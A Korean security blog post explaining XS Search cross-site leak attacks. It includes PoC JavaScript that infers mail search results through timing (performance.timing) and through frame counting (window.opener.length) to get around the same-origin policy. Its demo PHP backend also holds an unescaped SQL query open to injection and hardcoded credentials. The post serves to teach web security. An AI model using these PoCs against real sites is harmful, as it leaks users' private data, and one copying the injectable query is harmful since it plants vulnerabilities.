개요
XS Search 공격은 공격자가 포함시킨 스크립트가 클라이언트에서 실행되어 메일 내용, 연락처, 검색 기록과 같은 정보들을 획득할 수 있으며, 스크립트 실행 과정 중 발생하는 동일한 출처 정책(SOP)을 우회 가능한 공격입니다.
XS Search 공격에 사용되는 방법들은 Frame Count, Histroy Length 등 여럿 존재하지만, 이번 포스팅에서는 서로 다른 결과가 존재하는 응답간의 시간 차이를 통한 공격과 Frame Count를 통한 SOP 우회 공격을 진행할 것입니다.
분석
아래 그림의 Target Server는 메일 서버이며 검색 결과가 존재하는 경우와 존재하지 않는 경우의 시간 차이가 1초 이상 난다고 가정해본다면, 공격자는 XS Search 공격을 통하여 메일 서버에 존재하는 모든 메일에 접근할 수 있게 됩니다.
그렇다면 어떤 방식으로 각 응답에 대한 시간을 측정할 수 있을지에 대해 알아보겠습니다.
아래 코드는 서버의 메일 DB에서 검색하려는 문자열이 존재하는 경우 메일을 출력해주며, 존재하지 않을 경우 0.9초 정도 대기 후 빈 페이지를 출력해줍니다.
즉 검색 결과가 존재할 때와 존재하지 않을 때의 시간 차이가 0.9초 정도 발생합니다.
select.php
<html>
<head>
<title>Title</title>
</head>
<body>
<?php
$data= $_GET['q'];
$conn = mysqli_connect('IP', 'User ID', 'Password', 'DB Name');
$sql = "SELECT * FROM mail WHERE content like '$data%'";
$result = mysqli_query($conn, $sql);
$count=0;
while($row = mysqli_fetch_array($result)){
echo($row['content']."<br>");
$count = 1;
}
if($count==0){
usleep(90000);
}
?>
</body>
</html>
아래 코드는 open 함수를 통하여 새로운 페이지를 생성한 후 window.opener 객체로 부모 페이지를 연 뒤 performance.timing 객체를 통하여 시간을 측정하는 방식으로 XS Search 공격을 진행합니다.
poc.html
<h3>XS Search PoC</h3>
<input type="button" onClick="open('xs_search.html', 'xs_search', 'width=700,height=630');" value ="PoC Start" style="width:100pt;height:100pt;font-size:20px;">
xs_search.html
<script>
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
let parent = window.opener;
async function onSearch(form){
let text = form.text.value;
let url = form.url.value;
url = url.replace("<text>",text)
parent.location = url;
await sleep(1000);
let start = parent.performance.timing.navigationStart;
let end = parent.performance.timing.loadEventEnd;
console.log(end-start);
if(end-start>150){
spanmsg.innerText = text+" Don't Find";
spanmsg.style.color = "red";
}else{
spanmsg.innerText = text+" Find";
spanmsg.style.color = "green";
}
}
</script>
<html>
<head>
<title>Search</title>
</head>
<body>
<h3>XS Search</h3>
<p>Test Page (http://localhost/select.php)</p>
<form onsubmit="event.preventDefault();onSearch(this);">
Text : <input type="text" name="text" value="Hi"><br>
<input type="hidden" name="url" value="http://localhost/select.php?q=<text>">
<input type="submit" value="Find">
</form>
<span>Status: </span>
<span id='spanmsg'></span>
</body>
</html>
해당 파일들을 실행해보면, 메일 DB에 입력한 데이터의 존재 여부를 스크립트를 통하여 확인할 수 있었습니다.
지금 작성한 PoC 코드에는 SOP가 발생하면 XS Search 공격이 정상적으로 실행되지 않는 문제점이 존재합니다.
SOP가 발생하면 XS Search를 통한 사용자의 요청은 성공적으로 전송되지만, 그에 따른 응답 값을 받아올 수 없기 때문에 Performance.timing 객체를 읽어들일 수 없어 발생하는 문제입니다.
SOP가 발생하는 상황에서도 확인할 수 있는 몇 가지 속성들이 존재하는데, 해당 속성들을 이용하여 정상적으로 실행됐을 때와 아닐 떄를 구분할 수 있다면 SOP를 우회할 수 있습니다. 그 중 한가지가 window.opener.length 값의(부모 객체의 frame, iframe 태그 수) 차이가 발생하는 상황입니다.
전에 작성했던 select.php 파일에서 검색 결과가 존재할 때 iframe 태그를 이용하여 footer.html 파일을 불러오는 코드를 추가된 파일입니다.
select2.php
<html>
<head>
<title>Title</title>
</head>
<body>
<?php
$data= $_GET['q'];
$conn = mysqli_connect('localhost', 'root', 'autoset', 'web_db');
$sql = "SELECT * FROM mail WHERE content like '$data%'";
$result = mysqli_query($conn, $sql);
$count=0;
while($row = mysqli_fetch_array($result)){
echo($row['content']."<br>");
$count = 1;
}
if($count==0){
usleep(90000);
}else{
echo("<iframe src='footer.html' style='border:none' width='100%'></iframe>");
}
?>
</body>
</html>
footer.html
Copyright 2020. SMS. All rights reserved.
응답 시간을 통해 데이터 존재 여부를 판별했던 이전 코드와는 다르게 parent.length 값을 통하여 판단하도록 코드가 변경되었습니다.
xs_search2.html
<script>
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
let parent = window.opener;
async function onSearch(form){
let text = form.text.value;
let url = form.url.value;
url = url.replace("<text>",text)
parent.location = url;
await sleep(1000);
if(parent.length!=1){
spanmsg.innerText = text+" Don't Find";
spanmsg.style.color = "red";
}else{
spanmsg.innerText = text+" Find";
spanmsg.style.color = "green";
}
}
</script>
<html>
<head>
<title>Search</title>
</head>
<body>
<h3>XS Search</h3>
<p>Test Page (http://localhost/select2.php)</p>
<form onsubmit="event.preventDefault();onSearch(this);">
Text : <input type="text" name="text" value="Hi"><br>
<input type="hidden" name="url" value="http://127.0.0.1/select2.php?q=<text>">
<input type="submit" value="Find">
</form>
<span>Status: </span>
<span id='spanmsg'></span>
</body>
</html>
변경된 코드로 다시 실행해보면, SOP가 발생하는 상황임에도 불구하고 메일 DB에 입력한 데이터의 존재 여부를 스크립트를 통하여 확인할 수 있었습니다
XS Search 취약점이 발생했던 구글의 경우 X-XSS-Protection : 1; mode=block 헤더가 기본적으로 적용되어 있어 스크립트가 삽입되면 에러 페이지(windows.length 값 0)를 출력 시킵니다.
위와 같은 상황에서 검색 결과가 존재할 때 스크립트를 삽입 가능한 파라메터를 활용하여, windows.opener.length 값이 0인 경우 검색 결과가 존재한다고 판단함으로써 SOP를 우회한 흥미로운 사례를 확인하였습니다.
더 자세한 사항은 아래의 블로그를 참고하시길 바랍니다.
Google books leakage - HackMD
Google books leakage Summary Leaking user’s private data such as purchased books, books browsing history, private bookshelves from Google Book website by abusing the XSS-Auditor and window.length. Introduction Recently, I have been looking for XS-Search
terjanq.github.io
Reference
https://polict.net/blog/web-tracking-via-http-cache-xs-leaks/#is-my-browser-affected
https://www.blackhat.com/docs/us-16/materials/us-16-Gelernter-Timing-Attacks-Have-Never-Been-So-Practical-Advanced-Cross-Site-Search-Attacks.pdf
https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549
https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels#cache-and-error-events
https://terjanq.github.io/Bug-Bounty/Google/books-xs-search-enpgws9jw5mb/index.html
'Hack > Web' 카테고리의 다른 글
Node js Prototype Pollution (0) | 2020.09.22 |
---|---|
Relative Path Overwrite(RPO) (0) | 2020.09.22 |
Laravel SQL Injection ( Version < 5.8.11) (0) | 2020.09.22 |
Laravel Framework 보안 관련 내용 정리 (0) | 2020.09.22 |
Reflected File Download (0) | 2020.09.22 |
댓글